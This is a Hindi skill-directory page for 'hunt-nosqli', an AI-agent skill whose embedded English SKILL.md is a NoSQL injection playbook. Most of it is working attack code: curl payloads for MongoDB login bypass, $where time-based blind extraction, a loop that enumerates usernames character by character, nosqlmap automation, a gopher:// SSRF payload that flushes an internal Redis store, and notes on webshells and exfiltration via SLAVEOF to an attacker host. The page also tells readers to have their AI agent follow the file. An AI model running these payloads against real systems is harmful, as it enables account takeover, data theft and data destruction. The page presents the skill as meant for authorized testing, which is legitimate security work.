मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी5.4k · #14924

hunt-nosqli

यह क्या करती है

यह स्किल NoSQL-आधारित ऐप्स में operator injection और उससे जुड़ी खामियाँ जाँचती है, जो साइन-इन बायपास या डेटा निकालने दे सकती हैं। यह MongoDB, CouchDB या Redis इस्तेमाल करने वाले ऐप्स के अधिकृत परीक्षण के लिए है।

कब इस्तेमाल करें

  • ✓जब MongoDB वाले ऐप का लॉगिन username और password फ़ील्ड्स वाला JSON स्वीकार करता है।
  • ✓जब सर्च या फ़िल्टर endpoint यूज़र से query operators स्वीकार करता है।
  • ✓जब error संदेश किसी NoSQL डेटाबेस का ज़िक्र करे।

Skill का लिंक

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमारा लॉगिन API MongoDB इस्तेमाल करता है। क्या आप हमारे अधिकृत परीक्षण में जाँच सकते हैं कि operator इनपुट उसे बायपास कर सकता है या नहीं?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट लॉगिन और सर्च अनुरोधों में JSON operator मान भेजता है, फिर जवाबों की तुलना करता है। वह पक्की बायपास या डेटा उजागर होने की रिपोर्ट देता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b — Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense Bypass
JSON.parse rejects objects Use array: password[$ne]=x (URL params)
Sanitizes $ Unicode: $gt
अक्सर पूछे जाने वाले सवाल

operator injection क्या है?

जब यूज़र सादे मान की जगह greater-than जैसे query operators भेजता है, जिससे डेटाबेस का मिलान बदल जाता है।

कौन-से डेटाबेस कवर होते हैं?

स्किल MongoDB, CouchDB, Redis और Elasticsearch को कवर करती है।

लॉगिन बायपास इतना गंभीर क्यों है?

इससे कोई बिना वैध पासवर्ड के admin के रूप में साइन इन कर सकता है, जिसे स्किल गंभीर मानती है।

जानकारी

लेखक का मूल विवरण

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

repo: elementalsouls/Claude-BugHunter

लोकप्रियता

GitHub स्टार
5.4k
रैंकिंग में स्थान
#14924
लाइसेंस
MIT
अपडेट की गई
2/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

apk-redteam-pipeline

5.4k

यह आपके एजेंट को Android ऐप में सुरक्षा कमज़ोरियाँ परखने देती है: APK फ़ाइल ढूँढने और उसे decompile करने से लेकर उजागर secrets जाँचने तक।

कोडिंगसिक्योरिटी

bugcrowd-reporting

5.4k

यह आपके एजेंट को Bugcrowd पर बेहतर कमज़ोरी रिपोर्ट लिखने देती है, सही श्रेणी चुनते हुए और दायरे से बाहर वाली आपत्तियों का जवाब देते हुए।

कोडिंगसिक्योरिटी

cloud-iam-deep

5.4k

यह आपके एजेंट को अधिकृत सुरक्षा परीक्षण में जाँचने देती है कि मिली क्लाउड credential AWS, Azure या Google Cloud पर क्या-क्या एक्सेस कर सकती है।

कोडिंगसिक्योरिटी

enterprise-vpn-attack

5.4k

यह आपके एजेंट को अधिकृत परीक्षण में Cisco, Fortinet, Citrix और अन्य VPN उपकरणों की ज्ञात कमज़ोरियाँ जाँचने देती है।

कोडिंगसिक्योरिटी

मिलती-जुलती skills